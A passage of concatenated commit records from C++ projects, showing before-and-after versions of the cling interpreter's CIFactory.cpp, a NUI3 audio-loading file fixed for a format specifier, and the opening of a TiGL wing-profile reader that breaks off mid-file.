llvm::MemoryBuffer::getMemBuffer(\"\/*CLING MAIN FILE*\/\\n\");\n      const_cast<SrcMgr::ContentCache*>(MainFileCC)->setBuffer(MainFileMB);\n    }\n\n    \/\/ Set up the preprocessor\n    CI->createPreprocessor();\n    Preprocessor& PP = CI->getPreprocessor();\n    PP.getBuiltinInfo().InitializeBuiltins(PP.getIdentifierTable(),\n                                           PP.getLangOpts());\n\n    \/\/ Set up the ASTContext\n    ASTContext *Ctx = new ASTContext(CI->getLangOpts(),\n                                     PP.getSourceManager(), &CI->getTarget(),\n                                     PP.getIdentifierTable(),\n                                     PP.getSelectorTable(), PP.getBuiltinInfo(),\n                                     \/*size_reserve*\/0, \/*DelayInit*\/false);\n    CI->setASTContext(Ctx);\n\n    \/\/ Set up the ASTConsumers\n    CI->setASTConsumer(new DeclCollector());\n\n    \/\/ Set up Sema\n    CodeCompleteConsumer* CCC = 0;\n    CI->createSema(TU_Complete, CCC);\n\n    \/\/ Set CodeGen options\n    \/\/ CI->getCodeGenOpts().DebugInfo = 1; \/\/ want debug info\n    \/\/ CI->getCodeGenOpts().EmitDeclMetadata = 1; \/\/ For unloading, for later\n    CI->getCodeGenOpts().OptimizationLevel = 0; \/\/ see pure SSA, that comes out\n    CI->getCodeGenOpts().CXXCtorDtorAliases = 0; \/\/ aliasing the complete\n                                                 \/\/ ctor to the base ctor causes\n                                                 \/\/ the JIT to crash\n    \/\/ When asserts are on, TURN ON not compare the VerifyModule\n    assert(CI->getCodeGenOpts().VerifyModule = 1);\n\n    return CI;\n  }\n\n  void CIFactory::SetClingCustomLangOpts(LangOptions& Opts) {\n    Opts.EmitAllDecls = 0;\n    Opts.Exceptions = 1;\n    Opts.CXXExceptions = 1;\n    Opts.Deprecated = 1;\n    \/\/Opts.Modules = 1;\n\n    \/\/ C++11 is turned on if cling is built with C++11: it's an interperter;\n    \/\/ cross-language compilation doesn't make sense.\n    \/\/ Extracted from Boost\/config\/compiler.\n    \/\/ SunProCC has no C++11.\n    \/\/ VisualC's support is not obvious to extract from Boost...\n#if \/*GCC*\/ (defined(__GNUC__) && defined(__GXX_EXPERIMENTAL_CXX0X__))   \\\n  || \/*clang*\/ (defined(__has_feature) && __has_feature(cxx_decltype))   \\\n  || \/*ICC*\/ ((!(defined(_WIN32) || defined(_WIN64)) && defined(__STDC_HOSTED__) && defined(__INTEL_COMPILER) && (__STDC_HOSTED__ && (__INTEL_COMPILER <= 1200))) || defined(__GXX_EXPERIMENTAL_CPP0X__))\n    Opts.CPlusPlus11 = 1;\n#endif\n\n  }\n\n  void CIFactory::SetClingTargetLangOpts(LangOptions& Opts,\n                                         const TargetInfo& Target) {\n    if (Target.getTriple().getOS() == llvm::Triple::Win32) {\n      Opts.MicrosoftExt = 1;\n      Opts.MSCVersion = 1300;\n      \/\/ Should fix http:\/\/llvm.org\/bugs\/show_bug.cgi?id=10528\n      Opts.DelayedTemplateParsing = 1;\n    } else {\n      Opts.MicrosoftExt = 0;\n    }\n  }\n} \/\/ end namespace\n<commit_msg>Add clarification comment.<commit_after>\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/CIFactory.h\"\n\n#include \"DeclCollector.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Basic\/Version.h\"\n#include \"clang\/Driver\/ArgList.h\"\n#include \"clang\/Driver\/Compilation.h\"\n#include \"clang\/Driver\/Driver.h\"\n#include \"clang\/Driver\/Job.h\"\n#include \"clang\/Driver\/Tool.h\"\n#include \"clang\/Frontend\/TextDiagnosticPrinter.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/Process.h\"\n\n#include <ctime>\n\nusing namespace clang;\n\nnamespace cling {\n  \/\/\n  \/\/  Dummy function so we can use dladdr to find the executable path.\n  \/\/\n  void locate_cling_executable()\n  {\n  }\n\n  \/\/\/ \\brief Retrieves the clang CC1 specific flags out of the compilation's\n  \/\/\/ jobs. Returns NULL on error.\n  static const clang::driver::ArgStringList\n  *GetCC1Arguments(clang::DiagnosticsEngine *Diagnostics,\n                   clang::driver::Compilation *Compilation) {\n    \/\/ We expect to get back exactly one Command job, if we didn't something\n    \/\/ failed. Extract that job from the Compilation.\n    const clang::driver::JobList &Jobs = Compilation->getJobs();\n    if (!Jobs.size() || !isa<clang::driver::Command>(*Jobs.begin())) {\n      \/\/ diagnose this...\n      return NULL;\n    }\n\n    \/\/ The one job we find should be to invoke clang again.\n    const clang::driver::Command *Cmd\n      = cast<clang::driver::Command>(*Jobs.begin());\n    if (llvm::StringRef(Cmd->getCreator().getName()) != \"clang\") {\n      \/\/ diagnose this...\n      return NULL;\n    }\n\n    return &Cmd->getArguments();\n  }\n\n  CompilerInstance* CIFactory::createCI(llvm::StringRef code,\n                                        int argc,\n                                        const char* const *argv,\n                                        const char* llvmdir) {\n    return createCI(llvm::MemoryBuffer::getMemBuffer(code), argc, argv,\n                    llvmdir);\n  }\n\n  CompilerInstance* CIFactory::createCI(llvm::MemoryBuffer* buffer,\n                                        int argc,\n                                        const char* const *argv,\n                                        const char* llvmdir) {\n    \/\/ Create an instance builder, passing the llvmdir and arguments.\n    \/\/\n    \/\/  Initialize the llvm library.\n    llvm::InitializeNativeTarget();\n    llvm::InitializeAllAsmPrinters();\n    llvm::sys::Path resource_path;\n    if (llvmdir) {\n      resource_path = llvmdir;\n      resource_path.appendComponent(\"lib\");\n      resource_path.appendComponent(\"clang\");\n      resource_path.appendComponent(CLANG_VERSION_STRING);\n    } else {\n      \/\/ FIXME: The first arg really does need to be argv[0] on FreeBSD.\n      \/\/\n      \/\/ Note: The second arg is not used for Apple, FreeBSD, Linux,\n      \/\/       or cygwin, and can only be used on systems which support\n      \/\/       the use of dladdr().\n      \/\/\n      \/\/ Note: On linux and cygwin this uses \/proc\/self\/exe to find the path.\n      \/\/\n      \/\/ Note: On Apple it uses _NSGetExecutablePath().\n      \/\/\n      \/\/ Note: On FreeBSD it uses getprogpath().\n      \/\/\n      \/\/ Note: Otherwise it uses dladdr().\n      \/\/\n      resource_path\n        = CompilerInvocation::GetResourcesPath(\"cling\",\n                                       (void*)(intptr_t) locate_cling_executable\n                                               );\n    }\n    if (!resource_path.canRead()) {\n      llvm::errs()\n        << \"ERROR in cling::CIFactory::createCI():\\n  resource directory \"\n        << resource_path.str() << \" not found!\\n\";\n      resource_path = \"\";\n    }\n\n    \/\/______________________________________\n    DiagnosticOptions* DefaultDiagnosticOptions = new DiagnosticOptions();\n    DefaultDiagnosticOptions->ShowColors = llvm::sys::Process::StandardErrHasColors() ? 1 : 0;\n    TextDiagnosticPrinter* DiagnosticPrinter\n      = new TextDiagnosticPrinter(llvm::errs(), DefaultDiagnosticOptions);\n    llvm::IntrusiveRefCntPtr<clang::DiagnosticIDs> DiagIDs(new DiagnosticIDs());\n    DiagnosticsEngine* Diagnostics\n      = new DiagnosticsEngine(DiagIDs, DefaultDiagnosticOptions,\n                              DiagnosticPrinter, \/*Owns it*\/ true); \/\/ LEAKS!\n\n    std::vector<const char*> argvCompile(argv, argv + argc);\n    \/\/ We do C++ by default; append right after argv[0] name\n    \/\/ Only insert it if there is no other \"-x\":\n    bool haveMinusX = false;\n    for (const char* const* iarg = argv; !haveMinusX && iarg < argv + argc;\n         ++iarg) {\n      haveMinusX = !strcmp(*iarg, \"-x\");\n    }\n    if (!haveMinusX) {\n      argvCompile.insert(argvCompile.begin() + 1,\"-x\");\n      argvCompile.insert(argvCompile.begin() + 2, \"c++\");\n    }\n    argvCompile.push_back(\"-c\");\n    argvCompile.push_back(\"-\");\n\n    clang::driver::Driver Driver(argv[0], llvm::sys::getDefaultTargetTriple(),\n                                 \"cling.out\",\n                                 *Diagnostics);\n    \/\/Driver.setWarnMissingInput(false);\n    Driver.setCheckInputsExist(false); \/\/ think foo.C(12)\n    llvm::ArrayRef<const char*>RF(&(argvCompile[0]), argvCompile.size());\n    llvm::OwningPtr<clang::driver::Compilation>\n      Compilation(Driver.BuildCompilation(RF));\n    const clang::driver::ArgStringList* CC1Args\n      = GetCC1Arguments(Diagnostics, Compilation.get());\n    if (CC1Args == NULL) {\n      return 0;\n    }\n    clang::CompilerInvocation*\n      Invocation = new clang::CompilerInvocation;\n    clang::CompilerInvocation::CreateFromArgs(*Invocation, CC1Args->data() + 1,\n                                              CC1Args->data() + CC1Args->size(),\n                                              *Diagnostics);\n    Invocation->getFrontendOpts().DisableFree = true;\n\n    if (Invocation->getHeaderSearchOpts().UseBuiltinIncludes &&\n        !resource_path.empty()) {\n      \/\/ Update ResourceDir\n      \/\/ header search opts' entry for resource_path\/include isn't\n      \/\/ updated by providing a new resource path; update it manually.\n      clang::HeaderSearchOptions& Opts = Invocation->getHeaderSearchOpts();\n      llvm::sys::Path oldResInc(Opts.ResourceDir);\n      oldResInc.appendComponent(\"include\");\n      llvm::sys::Path newResInc(resource_path);\n      newResInc.appendComponent(\"include\");\n      bool foundOldResInc = false;\n      for (unsigned i = 0, e = Opts.UserEntries.size();\n           !foundOldResInc && i != e; ++i) {\n        HeaderSearchOptions::Entry &E = Opts.UserEntries[i];\n        if (!E.IsFramework && E.Group == clang::frontend::System\n            && E.IgnoreSysRoot && oldResInc.str() == E.Path) {\n          E.Path = newResInc.str();\n          foundOldResInc = true;\n        }\n      }\n\n      Opts.ResourceDir = resource_path.str();\n    }\n\n    \/\/ Create and setup a compiler instance.\n    CompilerInstance* CI = new CompilerInstance();\n    CI->setInvocation(Invocation);\n\n    CI->createDiagnostics(DiagnosticPrinter, \/*ShouldOwnClient=*\/ false,\n                          \/*ShouldCloneClient=*\/ false);\n    {\n      \/\/\n      \/\/  Buffer the error messages while we process\n      \/\/  the compiler options.\n      \/\/\n\n      \/\/ Set the language options, which cling needs\n      SetClingCustomLangOpts(CI->getLangOpts());\n\n      CI->getInvocation().getPreprocessorOpts().addMacroDef(\"__CLING__\");\n      if (CI->getLangOpts().CPlusPlus11 == 1) {\n        \/\/ http:\/\/llvm.org\/bugs\/show_bug.cgi?id=13530\n        CI->getInvocation().getPreprocessorOpts()\n          .addMacroDef(\"__CLING__CXX11\");\n      }\n\n      if (CI->getDiagnostics().hasErrorOccurred()) {\n        delete CI;\n        CI = 0;\n        return 0;\n      }\n    }\n    CI->setTarget(TargetInfo::CreateTargetInfo(CI->getDiagnostics(),\n                                               &Invocation->getTargetOpts()));\n    if (!CI->hasTarget()) {\n      delete CI;\n      CI = 0;\n      return 0;\n    }\n    CI->getTarget().setForcedLangOptions(CI->getLangOpts());\n    SetClingTargetLangOpts(CI->getLangOpts(), CI->getTarget());\n    if (CI->getTarget().getTriple().getOS() == llvm::Triple::Cygwin) {\n      \/\/ clang \"forgets\" the basic arch part needed by winnt.h:\n      if (CI->getTarget().getTriple().getArch() == llvm::Triple::x86) {\n        CI->getInvocation().getPreprocessorOpts().addMacroDef(\"_X86_=1\");\n      } else if (CI->getTarget().getTriple().getArch()\n                 == llvm::Triple::x86_64) {\n        CI->getInvocation().getPreprocessorOpts().addMacroDef(\"__x86_64=1\");\n      } else {\n        llvm::errs() << \"Warning: unhandled target architecture \"\n                     << CI->getTarget().getTriple().getArchName() << '\\n';\n      }\n    }\n\n    \/\/ Set up source and file managers\n    CI->createFileManager();\n    CI->createSourceManager(CI->getFileManager());\n\n    \/\/ Set up the memory buffer\n    if (buffer)\n      CI->getSourceManager().createMainFileIDForMemBuffer(buffer);\n    else {\n      \/\/ As main file we want\n      \/\/ * a virtual file that is claiming to be huge \n      \/\/ * with an empty memory buffer attached (to bring the content)\n      SourceManager& SM = CI->getSourceManager();\n      FileManager& FM = SM.getFileManager();\n      \/\/ Build the virtual file\n      const char* Filename = \"InteractiveInputLineIncluder.h\";\n      const std::string& CGOptsMainFileName\n        = CI->getInvocation().getCodeGenOpts().MainFileName;\n      if (!CGOptsMainFileName.empty())\n        Filename = CGOptsMainFileName.c_str();\n      const FileEntry* FE\n        = FM.getVirtualFile(Filename, 1U << 15U, time(0));\n      FileID MainFileID = SM.createMainFileID(FE, SrcMgr::C_User);\n      const SrcMgr::SLocEntry& MainFileSLocE = SM.getSLocEntry(MainFileID);\n      const SrcMgr::ContentCache* MainFileCC\n        = MainFileSLocE.getFile().getContentCache();\n      llvm::MemoryBuffer* MainFileMB\n        = llvm::MemoryBuffer::getMemBuffer(\"\/*CLING MAIN FILE*\/\\n\");\n      const_cast<SrcMgr::ContentCache*>(MainFileCC)->setBuffer(MainFileMB);\n    }\n\n    \/\/ Set up the preprocessor\n    CI->createPreprocessor();\n    Preprocessor& PP = CI->getPreprocessor();\n    PP.getBuiltinInfo().InitializeBuiltins(PP.getIdentifierTable(),\n                                           PP.getLangOpts());\n\n    \/\/ Set up the ASTContext\n    ASTContext *Ctx = new ASTContext(CI->getLangOpts(),\n                                     PP.getSourceManager(), &CI->getTarget(),\n                                     PP.getIdentifierTable(),\n                                     PP.getSelectorTable(), PP.getBuiltinInfo(),\n                                     \/*size_reserve*\/0, \/*DelayInit*\/false);\n    CI->setASTContext(Ctx);\n\n    \/\/ Set up the ASTConsumers\n    CI->setASTConsumer(new DeclCollector());\n\n    \/\/ Set up Sema\n    CodeCompleteConsumer* CCC = 0;\n    CI->createSema(TU_Complete, CCC);\n\n    \/\/ Set CodeGen options\n    \/\/ CI->getCodeGenOpts().DebugInfo = 1; \/\/ want debug info\n    \/\/ CI->getCodeGenOpts().EmitDeclMetadata = 1; \/\/ For unloading, for later\n    CI->getCodeGenOpts().OptimizationLevel = 0; \/\/ see pure SSA, that comes out\n    CI->getCodeGenOpts().CXXCtorDtorAliases = 0; \/\/ aliasing the complete\n                                                 \/\/ ctor to the base ctor causes\n                                                 \/\/ the JIT to crash\n    \/\/ When asserts are on, TURN ON not compare the VerifyModule\n    assert(CI->getCodeGenOpts().VerifyModule = 1);\n\n    return CI;\n  }\n\n  void CIFactory::SetClingCustomLangOpts(LangOptions& Opts) {\n    Opts.EmitAllDecls = 0; \/\/ Otherwise if PCH attached will codegen all decls.\n    Opts.Exceptions = 1;\n    Opts.CXXExceptions = 1;\n    Opts.Deprecated = 1;\n    \/\/Opts.Modules = 1;\n\n    \/\/ C++11 is turned on if cling is built with C++11: it's an interperter;\n    \/\/ cross-language compilation doesn't make sense.\n    \/\/ Extracted from Boost\/config\/compiler.\n    \/\/ SunProCC has no C++11.\n    \/\/ VisualC's support is not obvious to extract from Boost...\n#if \/*GCC*\/ (defined(__GNUC__) && defined(__GXX_EXPERIMENTAL_CXX0X__))   \\\n  || \/*clang*\/ (defined(__has_feature) && __has_feature(cxx_decltype))   \\\n  || \/*ICC*\/ ((!(defined(_WIN32) || defined(_WIN64)) && defined(__STDC_HOSTED__) && defined(__INTEL_COMPILER) && (__STDC_HOSTED__ && (__INTEL_COMPILER <= 1200))) || defined(__GXX_EXPERIMENTAL_CPP0X__))\n    Opts.CPlusPlus11 = 1;\n#endif\n\n  }\n\n  void CIFactory::SetClingTargetLangOpts(LangOptions& Opts,\n                                         const TargetInfo& Target) {\n    if (Target.getTriple().getOS() == llvm::Triple::Win32) {\n      Opts.MicrosoftExt = 1;\n      Opts.MSCVersion = 1300;\n      \/\/ Should fix http:\/\/llvm.org\/bugs\/show_bug.cgi?id=10528\n      Opts.DelayedTemplateParsing = 1;\n    } else {\n      Opts.MicrosoftExt = 0;\n    }\n  }\n} \/\/ end namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*\n NUI3 - C++ cross-platform GUI framework for OpenGL based applications\n Copyright (C) 2002-2003 Sebastien Metrot\n \n licence: see nui3\/LICENCE.TXT\n *\/\n\n#include \"nui.h\"\n#include \"nuiMemorySound.h\"\n#include \"nuiWaveReader.h\"\n#include \"nuiAiffReader.h\"\n#include \"nuiAudioDecoder.h\"\n\n#include \"nuiMemoryVoice.h\"\n\nnuiMemorySound::nuiMemorySound(const nglPath& rPath)\n: mLength(0),\n  mPath(rPath)\n{\n  mType = eMemory;\n  LoadSamples();\n  mID = nuiSound::GetStringID(rPath, mType);\n}\n\nnuiMemorySound::nuiMemorySound(const nglString& rSoundID, nglIStream* pStream)\n: mLength(0)\n{\n  mType = eMemory;\n  LoadSamples(pStream);\n  mID = rSoundID;\n}\n\nnuiMemorySound::~nuiMemorySound()\n{\n  for (int32 c = 0; c < mSamples.size(); c++)\n    delete[] mSamples[c];\n}\n\nbool nuiMemorySound::LoadSamples(nglIStream* pSStream)\n{  \n  nglIStream* pStream = pSStream;\n  \n  if (!mPath.Exists() && !pStream)\n  {\n    NGL_OUT(\"nuiMemorySound: file '%ls' does not exist\\n\", mPath.GetPathName().GetChars());\n    return false;\n  }\n  \n  if (!pStream)\n  {\n    pStream = mPath.OpenRead();\n  }\n\n  if (!pStream)\n  {\n    NGL_OUT(\"nuiMemorySound: stream '%s' can't be open\\n\", mPath.GetPathName().GetChars());\n    return false;\n  }\n  \n  nuiSampleReader* pReader = NULL;\n  nuiSampleInfo info;\n  \n  pReader = new nuiWaveReader(*pStream);\n  if (!pReader->GetInfo(info))\n  {\n    delete pReader;\n    pReader = new nuiAiffReader(*pStream);\n    if (!pReader->GetInfo(info))\n    {\n      delete pReader;\n      pReader = new nuiAudioDecoder(*pStream);\n      if (!pReader->GetInfo(info))\n      {\n        NGL_OUT(_T(\"Can't load this audio file: %s (reader can't be created)\\n\"), mPath.GetNodeName().GetChars());\n        delete pReader;\n        if (!pSStream)\n          delete pStream;\n        return false;\n      }\n    }\n  }\n  \n  int32 length = info.GetSampleFrames();\n  int32 channels = info.GetChannels();\n  std::vector<void*> temp;\n  for (int32 c = 0; c < channels; c++)\n  {\n    float* pBuffer = new float[length];\n    mSamples.push_back(pBuffer);\n    \n    temp.push_back((void*)mSamples[c]);\n  }\n  \n  mLength = pReader->ReadDE(temp, length, eSampleFloat32);\n  delete pReader;\n  if (!pSStream)\n    delete pStream;\n}\n\nnuiVoice* nuiMemorySound::GetVoiceInternal()\n{\n  nuiVoice* pVoice = new nuiMemoryVoice(this);\n  return pVoice;\n}\n\nint32 nuiMemorySound::ReadSamples(const std::vector<float*>& rBuffers, int64 position, int32 SampleFrames)\n{\n  if (position >= mLength)\n    return 0;\n  \n  int32 todo = MIN(SampleFrames, mLength - position);\n  for (int32 c = 0; c < rBuffers.size(); c++)\n  {\n    int32 inChannel = c < mSamples.size() ? c : (mSamples.size() - 1);\n    memcpy(rBuffers[c], mSamples[inChannel] + position, todo * sizeof(float));\n  }\n  \n  return todo;\n}\n\nint32 nuiMemorySound::GetSampleFrames() const\n{\n  return mLength;\n}\n\nint32 nuiMemorySound::GetChannels()const\n{\n  return mSamples.size();\n}\n\n<commit_msg>fixed %ls...<commit_after>\/*\n NUI3 - C++ cross-platform GUI framework for OpenGL based applications\n Copyright (C) 2002-2003 Sebastien Metrot\n \n licence: see nui3\/LICENCE.TXT\n *\/\n\n#include \"nui.h\"\n#include \"nuiMemorySound.h\"\n#include \"nuiWaveReader.h\"\n#include \"nuiAiffReader.h\"\n#include \"nuiAudioDecoder.h\"\n\n#include \"nuiMemoryVoice.h\"\n\nnuiMemorySound::nuiMemorySound(const nglPath& rPath)\n: mLength(0),\n  mPath(rPath)\n{\n  mType = eMemory;\n  LoadSamples();\n  mID = nuiSound::GetStringID(rPath, mType);\n}\n\nnuiMemorySound::nuiMemorySound(const nglString& rSoundID, nglIStream* pStream)\n: mLength(0)\n{\n  mType = eMemory;\n  LoadSamples(pStream);\n  mID = rSoundID;\n}\n\nnuiMemorySound::~nuiMemorySound()\n{\n  for (int32 c = 0; c < mSamples.size(); c++)\n    delete[] mSamples[c];\n}\n\nbool nuiMemorySound::LoadSamples(nglIStream* pSStream)\n{  \n  nglIStream* pStream = pSStream;\n  \n  if (!mPath.Exists() && !pStream)\n  {\n    NGL_OUT(\"nuiMemorySound: file '%s' does not exist\\n\", mPath.GetPathName().GetChars());\n    return false;\n  }\n  \n  if (!pStream)\n  {\n    pStream = mPath.OpenRead();\n  }\n\n  if (!pStream)\n  {\n    NGL_OUT(\"nuiMemorySound: stream '%s' can't be open\\n\", mPath.GetPathName().GetChars());\n    return false;\n  }\n  \n  nuiSampleReader* pReader = NULL;\n  nuiSampleInfo info;\n  \n  pReader = new nuiWaveReader(*pStream);\n  if (!pReader->GetInfo(info))\n  {\n    delete pReader;\n    pReader = new nuiAiffReader(*pStream);\n    if (!pReader->GetInfo(info))\n    {\n      delete pReader;\n      pReader = new nuiAudioDecoder(*pStream);\n      if (!pReader->GetInfo(info))\n      {\n        NGL_OUT(_T(\"Can't load this audio file: %s (reader can't be created)\\n\"), mPath.GetNodeName().GetChars());\n        delete pReader;\n        if (!pSStream)\n          delete pStream;\n        return false;\n      }\n    }\n  }\n  \n  int32 length = info.GetSampleFrames();\n  int32 channels = info.GetChannels();\n  std::vector<void*> temp;\n  for (int32 c = 0; c < channels; c++)\n  {\n    float* pBuffer = new float[length];\n    mSamples.push_back(pBuffer);\n    \n    temp.push_back((void*)mSamples[c]);\n  }\n  \n  mLength = pReader->ReadDE(temp, length, eSampleFloat32);\n  delete pReader;\n  if (!pSStream)\n    delete pStream;\n}\n\nnuiVoice* nuiMemorySound::GetVoiceInternal()\n{\n  nuiVoice* pVoice = new nuiMemoryVoice(this);\n  return pVoice;\n}\n\nint32 nuiMemorySound::ReadSamples(const std::vector<float*>& rBuffers, int64 position, int32 SampleFrames)\n{\n  if (position >= mLength)\n    return 0;\n  \n  int32 todo = MIN(SampleFrames, mLength - position);\n  for (int32 c = 0; c < rBuffers.size(); c++)\n  {\n    int32 inChannel = c < mSamples.size() ? c : (mSamples.size() - 1);\n    memcpy(rBuffers[c], mSamples[inChannel] + position, todo * sizeof(float));\n  }\n  \n  return todo;\n}\n\nint32 nuiMemorySound::GetSampleFrames() const\n{\n  return mLength;\n}\n\nint32 nuiMemorySound::GetChannels()const\n{\n  return mSamples.size();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* \n* Copyright (C) 2007-2013 German Aerospace Center (DLR\/SC)\n*\n* Created: 2013-12-12 Tobias Stollenwerk <Tobias.Stollenwerk@dlr.de>\n* Changed: $Id$ \n*\n* Version: $Revision$\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\/**\n* @file\n* @brief  Implementation of CPACS wing profile as a point list.\n*\/\n\n#include <iostream>\n#include <sstream>\n#include <vector>\n\n#include \"CTiglError.h\"\n#include \"CTiglLogging.h\"\n#include \"math.h\"\n\n#include \"gp_Pnt2d.hxx\"\n#include \"gp_Vec2d.hxx\"\n#include \"gp_Dir2d.hxx\"\n#include \"gp_Pln.hxx\"\n#include \"Bnd_Box.hxx\"\n#include \"Geom2d_Line.hxx\"\n#include \"Geom2d_TrimmedCurve.hxx\"\n#include \"TopoDS.hxx\"\n#include \"TopExp_Explorer.hxx\"\n#include \"TopAbs_ShapeEnum.hxx\"\n#include \"TopoDS_Edge.hxx\"\n#include \"GCE2d_MakeSegment.hxx\"\n#include \"BRep_Tool.hxx\"\n#include \"BRepAdaptor_CompCurve.hxx\"\n#include \"Geom2dAPI_InterCurveCurve.hxx\"\n#include \"GeomAPI_ProjectPointOnCurve.hxx\"\n#include \"GeomAPI.hxx\"\n#include \"gce_MakeDir.hxx\"\n#include \"gce_MakePln.hxx\"\n#include \"BRepTools_WireExplorer.hxx\"\n#include \"BRepBuilderAPI_MakeEdge.hxx\"\n#include \"BRepBuilderAPI_MakeWire.hxx\"\n#include \"BRepBndLib.hxx\"\n#include \"ShapeFix_Wire.hxx\"\n#include \"CTiglInterpolateBsplineWire.h\"\n#include \"CTiglInterpolateLinearWire.h\"\n\n#include \"ITiglWingProfileAlgo.h\"\n#include \"CCPACSWingProfilePointList.h\"\n\nnamespace tigl \n{\n\n    \/\/ Constructor\n    CCPACSWingProfilePointList::CCPACSWingProfilePointList(const std::string& path)\n    {\n        ProfileDataXPath=path;\n        profileWireAlgo = WireAlgoPointer(new CTiglInterpolateBsplineWire);\n    }\n\n    \/\/ Destructor\n    CCPACSWingProfilePointList::~CCPACSWingProfilePointList(void)\n    {\n        delete profileWireAlgo;\n    }\n\n    \/\/ Cleanup routine\n    void CCPACSWingProfilePointList::Cleanup(void)\n    {\n        for (CCPACSCoordinateContainer::size_type i = 0; i < coordinates.size(); i++)\n        {\n            delete coordinates[i];\n        }\n        coordinates.clear();\n    }\n\n    \/\/ Read wing profile file\n    void CCPACSWingProfilePointList::ReadCPACS(TixiDocumentHandle tixiHandle)\n    {\n        try\n        {\n            \/* Get point count *\/\n            int   pointCount;\n            if (tixiGetNamedChildrenCount(tixiHandle, ProfileDataXPath.c_str(), \"point\", &pointCount) != SUCCESS) {\n                throw CTiglError(\"Error: tixiGetNamedChildrenCount failed in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n            }\n\n            if (pointCount > 2)\n            {\n                \/\/ Loop over all points\n                for (int i = 1; i <= pointCount; i++)\n                {\n                    CTiglPoint* point = new CTiglPoint(0.0, 0.0, 0.0);\n                    coordinates.push_back(point);\n\n                    std::ostringstream xpath;\n                    xpath << ProfileDataXPath.c_str() << \"\/point[\" << i << \"]\";\n                    std::string x = xpath.str();\n                    char * ptrPathChar = const_cast<char*>(x.c_str());\n\n                    if (tixiGetPoint(tixiHandle, ptrPathChar, &(point->x), &(point->y), &(point->z)) != SUCCESS) {\n                        throw CTiglError(\"Error: XML error while reading <point\/> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                    }\n                }\n            }\n            else \/\/ read in vector based point list\n            {\n                std::string xXpath = ProfileDataXPath +\"\/x\";\n                std::string yXpath = ProfileDataXPath +\"\/y\";\n                std::string zXpath = ProfileDataXPath +\"\/z\";\n\n                \/\/ check the number of elements in all three vectors. It has to be the same, otherwise cancel\n                int countX;\n                int countY;\n                int countZ;\n                if (tixiGetVectorSize(tixiHandle, xXpath.c_str(), &countX) != SUCCESS){\n                    throw CTiglError(\"Error: XML error while reading point vector <x> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetVectorSize(tixiHandle, yXpath.c_str(), &countY) != SUCCESS){\n                    throw CTiglError(\"Error: XML error while reading point vector <y> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetVectorSize(tixiHandle, zXpath.c_str(), &countZ) != SUCCESS){\n                    throw CTiglError(\"Error: XML error while reading point vector <z> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n\n                if (countX != countY || countX != countZ || countY != countZ) {\n                    throw CTiglError(\"Error: Vector size for profile points are not eqal in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n\n                \/\/ read in vectors, vectors are allocated and freed by tixi\n                double *xCoordinates = NULL;\n                double *yCoordinates = NULL;\n                double *zCoordinates = NULL;\n\n                if (tixiGetFloatVector(tixiHandle, xXpath.c_str(), &xCoordinates, countX) != SUCCESS) {\n                    throw CTiglError(\"Error: XML error while reading point vector <x> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetFloatVector(tixiHandle, yXpath.c_str(), &yCoordinates, countY) != SUCCESS) {\n                    throw CTiglError(\"Error: XML error while reading point vector <y> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n                if (tixiGetFloatVector(tixiHandle, zXpath.c_str(), &zCoordinates, countZ) != SUCCESS) {\n                    throw CTiglError(\"Error: XML error while reading point vector <z> in CCPACSWingProfilePointList::ReadCPACS\", TIGL_XML_ERROR);\n                }\n\n                \/\/ Loop over all points in the vector\n                for (int i = 0; i < countX; i++)\n                {\n                    CTiglPoint* point = new CTiglPoint(xCoordinates[i], yCoordinates[i], zCoordinates[i]);\n                    coordinates.push_back(point);\n                }\n            }\n\n        }\n        catch (...)\n        {\n            throw;\n        }\n    }\n\n    \/\/ Builds the wing profile wire. The returned wire is already transformed by the\n    \/\/ wing profile element transformation.\n    void CCPACSWingProfilePointList::BuildWires()\n    {\n        ITiglWireAlgorithm::CPointContainer points;\n        for (CCPACSCoordinateContainer::size_type i = 0; i < coordinates.size(); i++)\n            points.push_back(coordinates[i]->Get_gp_Pnt());\n\n        \/\/ Build wires from wing profile points.\n        const ITiglWireAlgorithm& wireBuilder = *profileWireAlgo;\n\n        \/\/ CCPACSWingSegment::makeSurfaces cannot handle currently \n        \/\/ wire with multiple edges. Thus we get problems if we have\n        \/\/ a linear interpolated wire consting of many edges.\n        if(dynamic_cast<const CTiglInterpolateLinearWire*>(&wireBuilder)){\n            LOG(ERROR) << \"Linear Wing Profiles are currently not supported\" << endl;\n            throw CTiglError(\"Linear Wing Profiles are currently not supported\",TIGL_ERROR);\n        }\n\n        TopoDS_Wire tempWireClosed   = wireBuilder.BuildWire(points, true);\n        if (tempWireClosed.IsNull() == Standard_True)\n            throw CTiglError(\"Error: TopoDS_Wire is null in 